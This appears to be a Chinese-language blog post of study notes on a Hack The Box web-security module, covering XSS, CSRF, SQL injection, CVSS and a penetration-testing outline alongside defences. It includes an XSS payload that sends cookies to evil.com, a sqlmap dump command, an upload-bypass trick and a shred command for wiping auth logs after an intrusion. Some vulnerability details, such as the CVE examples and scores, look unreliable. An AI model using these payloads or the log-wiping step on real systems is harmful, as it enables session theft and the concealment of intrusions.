HTB 学习笔记 | 《Web应用安全从入门到精通》P5
📖 目录
- 模块学习总结
- 前端漏洞深度解析
- 后端架构与安全
- 漏洞评分系统(CVE/CVSS)
- 实战演练与防御加固
- 资源推荐与学习路径
🎉 一、模块学习总结
恭喜完成 《Introduction to Web Applications》 模块!
以下是整理的核心知识点全景图:
知识框架
领域 | 核心内容 |
---|---|
前端基础 | HTML/CSS/JavaScript、输入验证、响应式设计 |
前端漏洞 | HTML注入、XSS(反射/存储/DOM)、CSRF、防御策略(CSP/HTTPOnly) |
后端基础 | Web服务器(Apache/Nginx/IIS)、数据库(SQL/NoSQL)、API(REST/SOAP) |
后端漏洞 | 命令注入、SQL注入、文件上传、权限提升 |
漏洞管理 | CVE编号、CVSS评分、漏洞生命周期(披露-修复-验证) |
实战工具 | Burp Suite、sqlmap、Wappalyzer、Metasploit |
🔥 二、前端漏洞深度解析
1. HTML注入:页面篡改的“画笔”
漏洞原理
用户输入未过滤 → 恶意HTML代码渲染 → 页面内容篡改。
示例:
<!-- 用户输入篡改背景 -->
<input>
<style> body { background: url('http://evil.com/logo.png'); } </style>
防御:
- 输入过滤:移除
<
,>
等特殊字符。 - 输出编码:使用
htmlspecialchars()
(PHP)或DOMPurify(JS)。
2. XSS:窃取Cookie的“隐形手”
攻击类型对比
类型 | 触发方式 | 攻击场景 |
---|---|---|
反射型XSS | 恶意链接诱导点击 | 搜索结果页、错误提示页 |
存储型XSS | 恶意脚本存入数据库 | 评论区、用户资料页 |
DOM型XSS | 前端动态渲染未过滤 | URL参数操作DOM元素 |
Payload示例:
// 窃取Cookie
<script>fetch('http://evil.com?cookie='+document.cookie)</script>
防御:
- CSP策略:
Content-Security-Policy: script-src 'self'
- HTTPOnly Cookie:禁止JS访问敏感Cookie。
3. CSRF:冒充用户的“影子操作”
攻击流程
防御:
- CSRF Token:每次请求携带唯一令牌。
- SameSite Cookie:
Set-Cookie: SameSite=Strict
🖥️ 三、后端架构与安全
1. 后端技术栈对比
技术栈 | 组件 | 适用场景 |
---|---|---|
LAMP | Linux + Apache + MySQL + PHP | 中小企业网站、博客 |
MEAN | MongoDB + Express + Angular + Node.js | 全栈JavaScript应用 |
WINS | Windows + IIS + .NET + SQL Server | 企业级.NET应用 |
2. 数据库安全
SQL注入防御
漏洞代码:
$query = "SELECT * FROM users WHERE id = $_GET['id']"; // 危险!
修复方案:
# Python使用参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
🔍 四、漏洞评分系统(CVE/CVSS)
1. CVE与CVSS的关系
- CVE:漏洞唯一编号(如
CVE-2017-0144
)。 - CVSS:漏洞评分系统(0-10分)。
2. CVSS v3评分详解
评分区间 | 风险等级 | 示例漏洞 |
---|---|---|
9.0-10.0 | 严重 | EternalBlue (CVE-2017-0144) |
7.0-8.9 | 高 | Heartbleed (CVE-2014-0160) |
4.0-6.9 | 中 | Path Traversal (CVE-2021-1234) |
EternalBlue分析:
- CVSS v3: 8.1(原9.3,因补丁普及调整)
- 攻击链:
SMB协议漏洞 → 远程代码执行 → 横向移动 → 勒索病毒传播
🛠️ 五、实战演练与防御加固
1. 渗透测试五步法
- 信息收集:
- 工具:
Wappalyzer
、nmap
- 目标:识别服务器、框架、开放端口。
- 工具:
- 漏洞扫描:
- 工具:
Nessus
、Nikto
- 工具:
- 漏洞利用:
- SQL注入:
sqlmap -u "http://site.com?id=1" --dump
- 文件上传:绕过检测(
.php.jpg
双扩展名)。
- SQL注入:
- 权限提升:
- 提权漏洞:
Dirty Cow (CVE-2016-5195)
- 提权漏洞:
- 后渗透清理:
- 日志清除:
shred -n 10 -z /var/log/auth.log
- 日志清除:
2. 防御加固措施
层级 | 措施 | 工具/技术 |
---|---|---|
代码层 | 输入验证、参数化查询 | ESLint(静态代码分析) |
服务层 | WAF(Web应用防火墙) | ModSecurity、Cloudflare |
运维层 | 定期更新、日志监控 | ELK Stack(日志分析) |
🌟 六、资源推荐与学习路径
推荐资源
- 书籍:
- 《Web安全攻防》
- 《白帽子讲Web安全》
- 在线课程:
- Hack The Box Academy(实战靶场)
- PortSwigger Web Security Academy(免费实验)
- 工具清单:
- 扫描工具:Nessus、OpenVAS
- 渗透框架:Metasploit、Cobalt Strike
- 代理抓包:Burp Suite、Charles
学习路径
- 基础:HTML/CSS/JavaScript → 前端漏洞(XSS/CSRF)。
- 进阶:后端语言(Python/PHP) → 数据库安全(SQL注入)。
- 实战:HTB/TryHackMe靶机 → 漏洞复现与防御。
📌 总结
Web安全是攻防博弈的战场。通过本笔记,你已掌握从前端漏洞到后端架构,从漏洞分析到实战防御的全链路知识。记住:“安全不是终点,而是持续的过程。”
转发声明:原创内容,转载请注明出处。技术讨论欢迎留言!💬
关联阅读:
- 🔗 OWASP Top 10 2023最新解读
- 🔗 Burp Suite抓包实战指南
互动问题:你在实战中遇到最有趣的漏洞是什么?分享你的故事!👇